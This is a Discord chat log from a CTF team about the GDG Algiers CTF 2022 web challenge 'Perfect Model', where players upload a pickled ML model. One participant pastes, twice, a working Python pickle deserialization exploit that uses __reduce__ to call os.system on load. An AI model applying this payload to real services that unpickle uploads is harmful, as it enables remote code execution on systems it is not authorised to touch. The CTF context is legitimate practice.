Project Sekai
🔒 GDG Algiers CTF 2022 / ❌-web-perfect-model
sahuang
Today at 14:27
For Web - Perfect Model
Do we get to know server predict logic? e.g. it will give a record of string then ask for category?
Since after server loads my model.pkl, it needs to call predict on some entries, but whats the input features format? Do we need to guess? e.g. its string features or they are turned into enum/ints?
Ouxs
Today at 14:32
no you don't get to see such info and there is no guessing needed in order to solve the challenge
Can't say anything more because it will be a hint (if we saw after some time that no one solved it, we will give more details)
sahuang
Today at 14:32
ok, i see, but is this chall related to web? because the only thing seems to be upload my model
m0kr4n3
Today at 14:33
otherwise we wouldn't put it in web category
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('ls -l')
return os.system, (cmd,)
if __name__ == '__main__':
open("out.pkl", "wb").write(pickle.dumps(RCE())) (edited)public.csv is given for a reason, but i think it's next stepimport pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('ls -l')
return os.system, (cmd,)
if __name__ == '__main__':
open("out.pkl", "wb").write(pickle.dumps(RCE())) (edited)
sklearn BaseEstimator only
Dice@Hope